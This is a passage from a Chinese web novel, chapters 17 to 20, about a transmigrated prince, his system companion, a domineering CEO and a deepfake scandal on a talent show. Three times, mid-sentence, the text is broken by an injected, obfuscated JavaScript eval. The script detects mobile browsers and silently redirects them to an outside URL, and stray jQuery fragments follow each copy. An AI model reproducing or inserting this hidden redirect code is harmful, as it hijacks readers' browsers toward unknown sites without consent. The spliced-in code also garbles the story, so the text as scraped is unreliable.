身体酸痛,头也很疼,腰以下几乎没什么知觉,要不是包裹着他的床垫和被子柔软得像云彩,他一定怀疑自己在大牢里,正等着被秋后问斩呢。
格桑静静躺着,等待着脑袋里乱七八糟的回忆重新梳理好。
身体酸痛的部位都有点尴尬,格桑动了动手指,渐渐想起来怎么回事了。
……本想稍微勾引下卫珩看看效果,结果被摆了一道呢。
手臂酸疼得像灌了铅,他勉强抬起一只手,想把眼罩摘下来,手指触碰到眼周,却是一片光洁的皮肤——昨晚被那个变态戴上的黑色眼罩居然已经不在了。
那怎么会这么黑?
正想着,眼前就落下了一道光条,细细的一道日光映亮了床铺四周,然后那道光条匀速扩大,伴随着自动窗帘的滑索声。
直到阳光铺满整个房间。
格桑已经习惯了黑暗的眼睛难以适应,眯起了眼。
这卧室整体呈现半圆形,弧形的那一面是一整面的全景落地窗,眼睛适应光线后缓缓睁开,格桑此刻躺在床上就能看到城市的天际线。
这是一个万里无云的好天气,远山绵延青绿,与天际线一青一蓝蜿蜒交汇,让人看了便心怀敞阔。
——如果不是昨天被卫珩那个奸人所害,想必会更敞阔些。
“醒了?”
房间门口传来每一本小说里一晌贪欢后霸道总裁都必定要说的第一句话。
格桑听到这声音就一肚子气,因此没理他,在脑子里嘲讽系统:【我不是男频反派么?现在这个角色是不是有哪里不太对?】
系统最近似乎学聪明了些,不像从前那么直眉楞眼了,格桑认为这是自己调.教有方的结果。
只听系统谨慎道:【回宿主,现在这个情况也是有好处的,经过昨晚,卫珩的爱慕值已经刷到了70%,这是您了不起的成就。】
【哦?】这倒是叫格桑意外了,【他这方面不是很抠门么?】
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093474|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系统:【这个老奴也不清楚,但是昨晚老奴一直在兢兢业业记录每一次爱慕值提升,不会有错。】
【……老奴?】这什么自称?
而且“昨晚一直在兢兢业业记录”…………那岂不是他跟卫珩每次……系统都在旁边看着?
就是狐狸成精如格桑,想到这个场景也不由面上发红。
系统没再继续说话,他虽然是一个比较新的系统,跟前辈们比起来还显得生涩些,但他很爱学习。
就是再迟钝,他也发现了宿主对他越来越没耐心、脾气也越来越大,因此他用了好几个晚上的时间,展开了宿主在原生世界的记录,彻夜研究。
他发现从前宿主锦衣玉食,周围环绕的都是整个皇宫最有眼色的嬷嬷小厮侍卫,每天变着法对宿主吹彩虹屁。
因此他凿壁偷光,偷偷学习了一二。
学习对象是奥尔柳斯皇宫最为资深的老嬷。
他认为他已经初步领会了精髓。
……
格桑感觉身体稍稍好转了些,起码能动了,他抬起手,看了眼手腕——被绑了一夜,竟只有淡淡的红痕。
格桑有点疑惑,又摸了一把额头,没发烧。
昨晚其实他意识清醒的时候很少,偶尔清醒时就会恼怒地想:明天恐怕是又要发高烧了。
这种事情他不是没经历过,一旦处理不当,以他这副破身子,真的会有报废风险。
昨天他无数次想把卫珩踹下床让他滚,但现实情况不允许,最后只能怂怂地求饶——同时心里给卫大总裁狠狠记上了一笔。
可是出乎意料的是,今天不仅没发烧,身体酸痛归酸痛,却到底还是在承受范围内。
格桑撑着身体坐起来,发现自己身上早已不知何时换上了干净的棉质睡衣,视线所及的地方,并无很明显的伤痕。
门口的卫珩像是猜出了他心中所想,走到床边坐下,很自然地抬手,给格桑揉他最酸痛的腰眼处。
格桑不防,轻哼了一声。
他发现卫珩的声音也是哑的,不知是干渴的,还是没能完全释放,压抑的,“你身体不好,所以我特别注意了。早上我的私人医生来看过,说没什么问题,你现在不舒服主要是肌肉紧张,可能会有轻微的韧带拉伤。
“一刻钟后会有按摩师来,帮你舒缓,舒缓完毕后就会好很多。”
卫珩的声音虽哑,语气却是柔和的。
他绝口未提昨晚那杯酒的乌龙还有格桑的预谋勾引,仿佛他叶格桑真是他刚温存了一夜的爱人。
格桑愣了一下,完全没想到事情会这样发展。
卫珩难道不应该往床上扔一张黑卡,冷冷说“如果这就是你想要的,那就拿去吧,今天的事不要让任何人知道”么?
毕竟这件事不管怎么看,都是【小明星蓄谋勾引卫氏集团总裁,心怀不轨】。
只是稍微有点玩脱了。
格桑理了半天没理清楚,最后只道:“不要叫按摩师来,我自己缓会儿就好。”
卫珩扫了一眼床上的小艺人,了然:“放心,都是卫氏的内部人员,这事不会泄露出去。”
“……也不只是这个问题。”问题是很丢人。
他胆子虽然挺大,但是爬有钱人的床这种事,能不让人当场看见还是别了吧。
格桑目移,发现床头的柜子上还放着昨天绑他的带子和眼罩,昨天的一切登时再次席卷心头,历历在目。
他心里本能地咯噔一下,然后就感觉床垫塌陷,原本坐在床边的男人向前跪跨一步,靠近了他。
“你放心,我的人绝对足够专业。
“而且,我和你的事若要公布,我自然会找一个更好的时机,以更好的方式。
“不会让你难堪。”
格桑张了张嘴,许久才反应过来刚刚听见了什么,立马用一种看神经病的眼神看着这个近在咫尺的男人的脸。
18. 第十八章
格桑只打算睡,可从没想过对卫珩负责。
反过来当然也一样——大家都是成年人了,滚一次而已,他刷到了爱慕值,卫珩……应该也爽到了吧,各取所需,又不是封建社会,还搞一睡定终身么?
总不能因为卫珩以前没跟人拉过小手,他夺走了卫大总裁的“第一次”,就要对这个变态负责到底吧?
开什么玩笑,有这么当变态的么?
格桑脑子宕机了许久,怀疑卫珩要么是在说笑,要么是X虫上脑疯了。
不过此时卫珩约的按摩师还有酒店的brunch服务都到了,卫珩在格桑额上落下一个清浅的吻,去客厅放人进来,格桑准备好了的婉拒的话也只能暂时先咽回去。
卫珩的人果然如他所说的一样专业,整个服务过程没有一个多余的眼神、一点不该有的表情和一句不合宜的话,态度极其自然,让格桑也放松了许多。
甚至找回了一点当初在奥尔柳斯皇宫的感觉——他的部下也都是如此有眼色和训练有素。
按摩结束,两人又一起吃了早午餐。
虽然昨天经历了相当激烈的一夜,但本质上来说,格桑觉得他跟卫珩还是属于陌生人。
现在,充其量是激烈地睡过的陌生人——那就是炮友吧。
卫珩面上不显,可行为举止之体贴,完全超出了一个合格的、具有炮徳的炮友该有的范畴。
牛奶跟果汁是他亲手给格桑倒的,倒之前特意询问了格桑是否乳糖不耐,有没有哪种水果过敏。
格桑:“没有乳糖不耐,但不爱喝牛奶。”
刚说完不爱喝,牛奶就倒进了他面前的杯子里。
“……”
格桑相当挑食,尽管卫珩细致询问了他的过敏原,但在他又拒食鸡蛋、牛肉和某些特定蔬菜时,却不容拒绝地将盘子放在格桑跟前。
“你体质弱,体重过轻,还容易电解质紊乱,营养不均衡体内微量元素缺失是诱因之一,食谱单一不可取。
“况且激烈运动后也要适当补充能量,食物都是营养师根据你身体所需配比的,不是什么洪水猛兽,你要吃下去。”
格桑:“……”
开什么玩笑!
他父皇父君还有手把手将他奶大的嬷嬷都没这样管过他!
“我不……”
“吃下去。”
“…………”
胳膊拗不过大腿,如今的格桑早已不是金尊玉贵的小皇储了,卫珩也不是他周围那些把他当星星当月亮、捧在手上怕摔了含在嘴里怕化了的侍从。
他只能在屈辱地被卫珩搞了一夜后,又屈辱地被逼着吃了一餐营养均衡(但大多他都不爱吃)的饭。
后来吃完饭,格桑以节目组那边还有事,并且晚上要飞别的城市跑通告为由果断逃离了卫珩的总套。
同时坚决拒绝了卫珩要送他的要求,卫珩凝视青年许久,终是没有再勉强他。
格桑离开后,卫珩站在套房的全自动监控屏前,顺手远程给他刷了自己的专属电梯,一直看到电梯降到酒店侧门,格桑脚底抹油逃出了克林徳酒店,才意味深长地关闭了监控屏幕。
门铃响,另一块监控亮起,他的秘书正站在门外。
“进来。”
总套门自动打开,秘书走了进来,他眼下一片青黑,明显是昨天没休息好,跟容光焕发的卫珩截然不同。
但尽管秘书如此疲惫,卫珩还是很确信自己看到了对方闪烁好奇的眼神。
“怎么?”这是他的老部下了,卫珩不太介意对方难得的逾距。
“没……没有。就是想恭喜您。”
秘书看着自家BOSS脸上明显的餍足感,一面在心中感慨原来老板不是真的性冷淡啊……一面又抓心挠肝地好奇——这破了BOSS三十年的戒的人,究竟是有什么过人之处?
叶格桑出名的除了脸一无是处,难道自家BOSS光辉伟岸的形象下,在这方面其实就是个肤浅的颜狗……?
“嗯,你来找我什么事?”卫珩喝了口咖啡。
“哦哦,是这样的。”秘书被提醒,迅速遏制了自己的胡思乱想,“抱歉一早打扰您,有件事要跟您汇报:三少爷等您一整晚了,到现在都没睡,一直等在大厅,非要讨个说法呢……”
“卫烽?他在大厅等什么?我忙完了自然会找他,这么大一个酒店,又不是没地方给他睡觉。”
其实秘书也觉得卫三少死磕这事挺诡异,想了想,就一五一十跟卫珩报告了:“我猜测三少爷是有事情要找叶先生,从三少爷的态度看来……他似乎对叶先生的去向要更在意一些。”
卫珩端咖啡的手端到一半,悬停在空中:“他?找叶格桑?”
“是……不过三少爷也没说他找叶先生到底什么事就是了,就是死咬着非要见您,还说要知道您把叶先生带哪去了。”
“……”
卫珩喝了一口刚煮好的咖啡,目光微垂,神情变得有些微妙。
他沉思片刻,问,“卫烽现在人呢?还在大厅?”
“是的,您如果现在暂时空闲的话,不然打个电话联系一下三少爷?您亲自问问他到底什么事吧。”
秘书嘴上虽没有抱怨,表情却写满了叫苦不迭,潜台词:您这好侄儿我真应付不来,您自己处理吧。
卫珩也是个体贴的上司,“嗯”了一声,就放秘书去睡觉了:“你休息吧,卫烽的事我来处理,你不用管他了。”
“哎,好嘞!谢谢卫先生,那我就先走一步哈,卫先生有事再叫我!”秘书如蒙大赦,溜之大吉。
卫珩坐在原地,看着秘书飞快逃窜的背景,不由想起刚才的叶格桑。
那漂亮青年也是这样,兔子似的,恨不得生出四条腿马不停蹄地逃走。
——他就这么吓人?
卫珩搞不懂,因为他自认自己绝对是一个十分合格的情人,很为伴侣着想。
在床上,也很有能力满足他。
即便有些不足为外人道的小嗜好,也都是在确保他安全的情况下使用。
所以,那小狐狸,逃什么呢?
况且,能逃得了一时,还能一直逃下去么?
想到这,卫珩心情多云转晴,用自动对讲系统把刚逃到门外的秘书又叫了回来。
“……”秘书如丧考妣地,“……卫先生,您还有什么事要吩咐么?”
“不用紧张,不是要你现在立即去做。你查一下他们那个选秀节目下次录制的日期,今天之内发给我就行——要叶格桑参与的录制。”
“哦,哦,这事啊。”秘书松了一口气,“好的,我这就去办。”
这次秘书终于成功逃走,卫珩拿起被扔在客厅一整夜的手机,果然看到十几个来自卫烽的未接来电,他慢条斯理地挑了个最近的回了过去。
连第一声“嘟”都没完,卫烽秒接。
“叶格桑呢?听说他昨天病了?你把他带哪去了?还是他先回去了?”
一接电话就是一连串炮仗似的质问,连个招呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093475|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都没有,真是他这好侄儿的风格。
不过卫珩也不在意那些虚头巴脑的礼节就是了。
他问:“你找他有什么事么?我以为你来克林徳是为了找我的?”
“我……”卫烽语塞了一瞬,卫珩听出他压抑着不耐和焦躁的语气,“总之我有重要的事找他,这是我跟他之间的私事,你不是一向很有边界感么,小叔?”
卫烽从小就对卫珩直呼大名,极少叫他小叔,卫珩自然听出这声“小叔”里的阴阳怪气。
有火药味。
卫珩挑眉。
“格桑刚才已经回去了,他身体没什么大碍。倒是你,满世界找他,我们的事情还谈不谈了?”
“回去了?……刚刚?”卫烽先是捕捉到这个关键信息,过了一会儿才猛然意识到卫珩对叶格桑的称呼。
【格桑】?
这两人认识还不超过24个小时,是发生了什么,就亲密到直呼其名了?
他这小叔可不是什么自来熟的人——不如说正相反吧。
卫烽脑袋里的警钟越敲越重,震得他整个脑子嗡嗡直响。
电话里卫珩的语气懒洋洋的,有一种说不上来的……餍足感?
现在都下午一点了,听这语气卫珩不像是刚忙完公务的样子,那就是刚起床没多久?
真不像是他的工作狂小叔的作风。
无数念头一瞬间纷杂涌上心头,卫烽直觉这其中有某个关窍,但他下意识回避那个糟糕的可能性。
“……今天先不聊了,你秘书说你这段时间暂且也不会回A国吧?下次有空再说。先这样,挂了。”卫烽说。
“OK。”
两人结束了这段简短的通话,卫烽抿着唇扫视了一圈电梯上的显示屏。
酒店所有的公用电梯、包括VIP电梯全都在这里了,他从半小时前就守在这儿,叶格桑并没有从任何一部电梯里出来,可卫珩说他“刚刚走”,那他走去哪儿了?
3号电梯上的显示屏显示电梯正在下降,克林徳酒店的电梯升降速度都很快,从二十多层楼下来也不过弹指之间。
电梯降到一楼后“叮咚”一声,卫烽目光牢牢锁定3号电梯口,自己都没意识到自己下意识屏住了呼吸。
电梯自动门向两边打开,里面出来的却不是叶格桑。
那是一对满头银发的白人老夫妇,与卫烽灼灼的目光交汇,还友好地朝他笑了一下。
“Guten tag.”①
卫烽屏住的呼吸随着他悬起的心脏一道,失望地落了回去。
“Guten tag.”他淡淡回道,字正腔圆的德语。
怎么回事?
卫珩不是说叶格桑刚刚离开么,为什么他堵在这里这么久堵不到人?
他昨天半夜就查过,叶格桑的保姆车不在地下停车场,所以理论上来说他也不可能直接坐电梯去地下。
卫烽又等了一会儿,电梯间陆续下来几个客人,但都没有叶格桑,再等下去估计也不会有什么结果了。
叶格桑没下来,那就只有两种可能:要么是卫珩在撒谎,要么,就是……
卫烽出了电梯间,往大厅西侧走了几步,从这里能瞥见卫珩的专属电梯所在的玻璃隔间的一角。
他单手插兜,抿唇,大步走了过去。
电梯停在一楼。
卫珩,一整夜到现在,都没有下来过。
可是电梯却停在了一楼。
卫烽心里重重地咯噔一声。
19. 第十九章
这三天节目没有格桑的录制行程,他回了自己在H市暂住的酒店后,给经纪人打了个电话,让他把别的工作也都推了。
“我要在酒店躺三天。”格桑冷脸躺在床上,拿筋膜枪按着腰。
专业的按摩师为他按摩后,的确舒缓了许多,换做常人或许已经能恢复如初了。
但他这身皮肉骨头太不扛造,短暂舒缓后,酸痛疲惫感又卷土重来。以他对自己身体的了解,不躺个三两天缓缓,势必是没法正常工作的。
“好,好,你好好休息。呃,我这有朋友从I国带回来的药膏,说对跌打损伤……还有咳咳,总之各种皮肉筋骨的伤效果都不错,我过会儿给你送去?”
格桑:“……”
经纪人听他沉默,又小心翼翼地打探:“昨天……怎么样?身体没大碍吧?”
“你不用来,让其他人也不用来。”
“哎,好,好。你没事就好,好好休息,早日康复!”经纪人察觉不妙,火速挂了电话。
同样是总套,格桑自住的总套自是赶不上克林徳酒店给卫氏集团总裁的定制套房,但也不赖。
偌大的房间,声音稍微大些甚至能听见少许回音。
挂了电话后一切归于静寂,只剩筋膜枪卖力工作的震动声响,震得格桑有点疼,轻轻哼唧。
这下好了,原本名声就不怎么样,现在恐怕是整个节目组主创团队都知道,他叶格桑吃了一顿饭,爬了卫氏总裁的床。
算了。
跟刷到的爱慕值比起来,那些算得了什么。
格桑破罐子破摔地扯扯嘴角。
筋膜枪一直怼着同一个地方敲打震动疼得发麻,格桑挪了挪手腕,将位置上移了一些,带起了一截衣角,露出一整截皓白的腰来,他一边给自己按摩,一边把头埋在枕头里,压抑不住地轻哼。
他真的太怕痛了。
但只有自己一个人的时候,他才会毫无顾忌地哼出声来,而不是掐着手心强忍。
疼痛的时候身体会下意识紧绷用力,那截细腰上便绷出了两个凹陷的腰眼来。
一左一右,后腰的位置,从背后看来,就像为两只手提供的绝佳把控位置。
所幸左右无人,格桑自然也不会知道,这处之所以如此酸痛,就是某人沉湎于那小梨涡般的腰眼的结果。
……
格桑就这么在酒店躺了三天没出门,手机也懒得看,三天没下过床,除了睡觉,就是躺在床上看幼稚动画片,边看边吃糖果零食,以至于到了饭点吃不下饭,默默取消酒店的送餐服务。
系统忍不住提醒:【宿主,容老奴说一句,您本身身体就很差了,这样的生活方式实在是太不健康,老奴认为……】
格桑嘎嘣嘎嘣嚼着糖果,根本不听完:【我不。】
系统:【老奴不管,老奴想说,老奴见不得宿主这样——】
格桑:【见不得就憋着。】
系统:【……】
他还是道行太浅。
今晚也要彻夜研读前辈们的经验以及宿主的生平,认真总结,争取下次能让任性的宿主听自己的劝谏。
三天后,格桑终于不情不愿地从床上爬起来,结束了他猪一般的“休养”生活,把自己打理出了个人样,上称一看,掉了三斤。
格桑安慰自己:没关系,艺人就是要骨瘦如柴弱柳扶风瘦成纸片上镜才好看,然后心安理得地再次取消了酒店VIP早餐里的培根、牛奶和煎蛋。
正在吃他寡淡的早餐时,门铃响,监控屏显示门外是他的经纪人。
今天那档选秀节目要录制新一轮的练习室部分,不过工作要到下午才开始,通常这种情况经纪人都会中午再来,让格桑早上多睡一会儿。
怎么这么早就来了?
格桑有些纳闷,当然还是把人放了进来。
格桑的经纪人姓林,他要求大家称呼他为Roy,是个业内相当资深老辣的经纪,四十多岁,男,性取向也为男,纯0。
他看格桑就像看自己亲弟弟,宝贝得紧。
Roy一进门就直奔格桑而来,抓着他的肩膀前后左右认真打量,边打量边嚷嚷:“我的小祖宗,怎么又瘦了?那个卫总是不是欺负你了?唉……其实咱们也不是那种无依无靠没背景没靠山的小可怜,你要实在不想,其实也可以拒绝他的……虽然卫总是挺帅的,嗯……”
Roy知道格桑是怎样一个人,自然也知道外面那些关于他家艺人私生活的传闻都是造谣,他不认为格桑会主动爬卫珩的床。
格桑也懒得解释,只问:“Roy,今天怎么来这么早?是有什么事吗?”
“哦哦。”Roy这才把手从格桑肩膀上放下,“那个造谣你的小视频,私家侦探已经调查出结果了,是AI剪辑拼接出来的东西,黑手也查出来了。”
格桑几乎都快忘了这事,他提起来才想起这个在原书中直接导致叶格桑身败名裂的导火索。
“是对家艺人的公司搞得鬼么?”
他嚼可颂也嚼得有点累了,决定休息一下自己的腮帮子,放下手里的食物跟餐具,蜷起腿窝在沙发里,宽松裤脚下露出一点雪白的脚趾尖。
Roy摇头:“我本来也以为是,毕竟圈子里搞这种恶性竞争的下三滥手段的家伙多得要死,但这次还真不是。”
格桑挑眉,静候他的下文。
“这次不是圈里的公司跟团队下场搞事,是个人行为。”Roy抱起胳膊,怒气冲冲道,“你猜咋的?居然是一个练习生小孩搞的鬼,还是你这次节目里的学员呢,咱们可以准备准备去告他了。”
练习生?
节目学员?
格桑愣了一下,这个结果属实也是他没想到的,顺口问道:“是谁?”
“名字好像叫陆锦丰,纯新人,天赋跟实力都一般,也没什么背景,节目组不算看好,估计一轮游二轮游的水平。报复社会呢吧?”
格桑想了想,Roy本来正在生气,瞧见他歪头沉思的模样又觉得可爱,忍不住母爱爆发,戳了戳格桑雪团一样的脸颊肉。
也是奇了怪了,别人瘦成纸片人时胶原蛋白难□□失,皮也垮了,脸颊也凹陷了。
可格桑即便体重清减了,脸颊上总是有些肉的,看上去比实际年龄还要显小些,从不显得憔悴。
把这小导师扔进那群十几二十岁的选秀学员中,学员都大多看着比他老成。
Roy在心里默默萌化自家艺人时,格桑也终于从世界线庞杂的信息里提取出了陆锦丰这个人。
他想起来了,这人在原书里后来是男主卫烽的小弟——男频文都是如此,男主既要有兄弟,还得收小弟。
陆锦丰其人本身性格阴郁不讨喜,胜在能豁得出去,敢闯敢拼。
他年纪很小,现在甚至还不满十七岁,在这档节目中早早淘汰,却结识了卫烽,被男主的惊人才华和人格魅力深深吸引(……),折服在卫烽的西装裤下,此后数年,为卫烽鞍前马后鞠躬尽瘁。
因为此人道德观念淡薄,在男主和主角团其他伟光正的成员们犹豫不决时,他就会毫不犹豫地独自出手,为卫烽铲除一切阻碍他前进道路的障碍。
他是卫烽养的一条最忠实的烈性犬。
为了他的主子,这条狗会奋不顾身地扑向任何悬崖峭壁,咬死所有对卫烽有所威胁之人。
格桑手肘撑着脑袋思考了半晌,有点麻,便换了个姿势,起来甩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093476|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了甩手。
小导师很是无辜。
——卫烽的狗,好端端的,咬我干嘛?
真是人倒霉了,连狗都惦记。
……
今天的练习室格桑预计要从下午一点多一直录制到晚上,中午时分他便准备出发前往录制现场。
陆锦丰的事,格桑让Roy暂且先压下不声张,叫私家侦探那边保留好所有证据,先不要报案。
“我先会会他去。”格桑在Roy面前很随意,他就手脱了家居服,换了身出门的衣服。
尽管已经跟着格桑这么多年了,乍一眼看到自家艺人那身白皙匀停的、如同女娲最得意之作的骨肉,Roy还是咽了口口水。
不是垂涎,是羡慕。
身为24K纯基佬(并且纯0),Roy无数次想过,要是自己能有格桑五分之一……不,十分之一的美貌,恐怕全国的1甚至直男都要排队等他挑选临幸吧。
也不至于人到四十,恋爱次数三根指头就能数过来了。
格桑换好了衣服正在扣扣子,抬头间看到Roy一脸黯然神伤,眨巴眨巴眼:“怎么啦?”
“没,没。”Roy叹了口气,道,“你真好看。”
格桑点头:“我知道。”
Roy:“…………”
好吧,他的小祖宗有时候也有点让他拳头硬硬的。
……
下午抵达节目录制现场,练习室录制过程没什么可说的,跟之前一样,按照导演的要求给几个特定选手高光就好。
只不过这次带教不再是按ABCF班分配,而是每位导师带两个队伍。
卫烽跟商承佑等重要角色都不在格桑要带的队伍里,他也就心无旁骛地做他的好导师,带着两队学员把他们的曲目过了一遍,又针对每个人的问题细抠了一番。
至于间或感受到的或是暧昧或是鄙夷的视线,格桑通通隔绝在外,当做不知道。
这个节目的学员人数太多,一开始的练习生数量足有101个,格桑记人脸不算在行,现在还有好些练习生的名字跟脸对不上号。
所以一直到他一个个跟两组学员一对一讲解的时候才发现,陆锦丰竟然在这两队人中。
格桑双腿交叉,斜靠在电钢琴前,淡淡打量了一眼面前刘海长过眉毛、长相和气质都有些阴郁的男生,也算是知道了他节目二轮游的原因了。
属实是没什么观众缘的外形和气质。
男生低着头,一直没有跟格桑有任何的目光对视。
寻常的练习室环节,节目组不提供专门的化妆,不过毕竟要上镜,大多数练习生都自己做了简单的妆造。
这个陆锦丰,倒是很没有偶像包袱,头发甚至不知道有没有好好梳理过,本就是毛糙的沙发发质,看上去一整个蓬头垢面。
他当真就像条流浪狗般,低垂着头,从蓬乱的刘海发缝间偷觑格桑。
格桑看不清陆锦丰的眼神,但那种如影随形被窥视的感觉,如跗骨之蛆,令人不适。
……
一下午的录制结束,其他练习生说着“老师辛苦了”,逐一离开练习室,幕后工作人员也都带着器材设备一一撤离。
陆锦丰缀在所有人的最末,低着头慢吞吞往外走,冷不防背后一道声音:
“陆锦丰,你留下。”
“……”男生脚步明显慌乱了一下,差点撞上前面的人,被他前面的学员翻了个白眼。
与此同时,别的练习室的“大师课”也相继结束,学员们浪潮般撒着欢、勾肩搭背地涌上走廊。
卫烽就像退潮时的一尾青鲨,融入人潮之中,只露出一点尖尖的鱼鳍,飞快地游到了格桑所在的练习室门外。
20. 第二十章
“咦?烽哥,你怎么跑这来了——”
卫烽竖起食指做了个“噤声”的手势,那跟他迎面碰上的学员立马收声,一缩脖子,做口型:咋啦?
卫烽摇摇头,瞥了眼只留了道缝的练习室门,小声问:“叶格桑还在里面呢?没走?”
“没,好像还把人留堂了。”那学员见状也小声说。
“留堂?谁?”
“陆锦丰吧。”
“哦,谢了。”
卫烽摆摆手,靠到练习室门后,身高腿长气质狂放不羁的年轻人像只壁虎一样贴在练习室的双开门外,从那道窄窄的门缝中朝里张望。
“…………”旁边的学员欲言又止,止又欲言。
直到卫烽回头莫名其妙地看他,“还有事?”
“呃,没……”学员尴尬地笑笑,压下对于他伟岸的烽哥听壁脚行为的疑问——这里边就叶格桑跟陆锦丰俩人,就算想探听一下别的组的消息也不是这么个探法吧……
况且烽哥的组跟叶格桑带的两个组之间也没有竞争关系……
学员带着满肚子的疑问走了,留卫烽独自听墙角。
——我也不是故意要偷偷摸摸听墙角的。
卫烽在心里暗自合理化自己的行为。
他有两件重要的事情要找叶格桑。
一是那天小视频事件后续两人的小摩擦,他觉得他该向叶格桑道个歉;
二是……
卫烽按在门上的手指关节下意识用力按紧。
二是,他要找叶格桑这个当事人确认……那天晚上,他跟卫珩之间,到底发生了什么。
卫烽暗暗想:等叶格桑忙完手头的事,他就找个机会进去,跟小导师好好说道说道。
然后心安理得地继续趴在门口,竖起耳朵听墙角。
.
格桑今天的造型比往常要艳丽许多。
他五官淡雅和谐,并不秾丽,整体气质偏向清冷,因此团队对他的造型包装方向也一贯如此,以清淡素净的色彩辅以一些小点缀为主,整体给人感觉是偏向“仙气儿”。
或许也正是因为他平日里就像一朵开在雪山峭壁上的仙株,那些关于他的私生活八卦,才显得格外刺激。
人类都会难以抗拒地被所谓“反差”吸引。
尤其是光辉背后的腐朽,新雪下埋藏的淤泥,看似光洁如玉足不沾尘的人的污点……更让人格外有深挖的欲望。
今天的格桑穿了一身暗红色镶水晶辅以刺绣的国风改良款衬衣,这样的颜色他平时极少穿,坐在台前导师的高脚凳上时,少了些许平时的清冷孤高感,而多了些无端的……媚意。
“陆锦丰,对吧?”
陆锦丰低着头站在下面,他有点近视,但今天既没戴眼镜也没戴隐形,发帘遮挡视线,隐隐绰绰看到的叶格桑一身赤红,像聊斋挂画里的狐仙。
男生咽了一口口水,随后猛然意识到什么似的,把头埋得更低了,含糊不清地“嗯”了声。
“你过来点。”格桑说。
陆锦丰往前蹭了两步,还是离格桑八丈远,狐仙不满地皱了下眉头,招手,“再过来点。”
又磨磨蹭蹭往前蹭了两步。
格桑懒得再跟他拉磨,直接面无表情地打开投屏,拿起遥控器将练习室内的灯全关了,然后将手机上的内容投上投影。
不大的练习室内顿时就只剩下投影仪的光,也让那大屏上的画面显得如此震撼。
格桑淡淡道:“陆锦丰,不知道你对这段视频有什么看法?”
陆锦丰傻在了原地。
.
门外听墙角的卫烽也傻了。
从他这个角度刚好可以看见练习室内大屏上投影画面的一角——即便只是一角,他也能在这个投影画面出现的第0.1秒就立马认出这个视频来。
毕竟他曾经躲在被窝里,在无比的渴望中,反反复复将这段只有10秒的视频看了不下四十遍。
也是因此才让他不得不承认,他对叶格桑有多么不可告人的、肮脏的欲.念。
练习室里,陆锦丰的声音听起来格外紧绷。
“……我、我不知道这是什么。”
“你这是什么回答。”叶格桑似乎笑了一下,声音很轻盈,“我问你对这个有什么看法,又没问你这是什么东西。
“陆锦丰,你这样的性格不太适合干坏事,别人还没审你,你就连底裤都招了——何必呢?就这么看不惯我?”
陆锦丰半晌没有说话,室内唯有投影仪运转时风扇沙沙的声音。
卫烽可不是陆锦丰,他神思敏捷得很,只听了一耳朵就迅速梳理出了格桑这段话里的全部信息。
——这视频是陆锦丰搞得鬼?
是他拍的?还是他散播的?或者……是他“制造”的?
节目里101个练习生,卫烽本也不是爱凑热闹爱交朋友的性子,他真正熟悉的人不多,陆锦丰显然不是其中之一。
卫烽对这个寡言少语、阴沉没有存在感的同期生了解甚少,不,应该说几乎没有任何了解,也毫无兴趣。
他小心控制着力道,将门向里侧推了些,让那道细细的门缝变宽了少许,从而能看清更多的内容。
本来是想看看陆锦丰到底是个什么情况,然而门缝一敞开,他的视线便毫不受控的梭巡着、追逐着叶格桑的身影而去。
只见他的小导师一条长腿着地,另一条腿蜷起踩在高脚凳的脚踏上,他身上的暗红色衬衣是前短后长的款式,长长的红色衣摆像凤鸟的尾羽,随着他偶尔的小动作轻轻摇晃。
卫烽喉结滚动,感觉心弦都被那尾羽撩拨了,想冲上前猛地扑住这只火红的小鸟。
身体不自觉地前倾,碰到门扉,发出“咚”一声轻响。
卫烽这才被拉回了神志。
所幸屋里的两人似乎没有留意门口这点微小的动静,只听陆锦丰沉默许久后,才慢吞吞道:“是我。”
格桑语气很平静:“怎么弄出来的?挺逼真。”
“……找了个侧面有点像的人……用自制的AI程序拼接修改了一下。”
“为什么?因为讨厌我?”
陆锦丰又不说话了。
听墙角的卫烽愣了愣——所以那个已经在圈子里传了好几天的所谓【叶格桑XX小视频】根本就是这个混蛋搞出来的科技产物?
他误会叶格桑了……
想到自己那天不分青红皂白就堵了叶格桑,火气上头说了些没羞没臊的污言秽语,把小导师气得
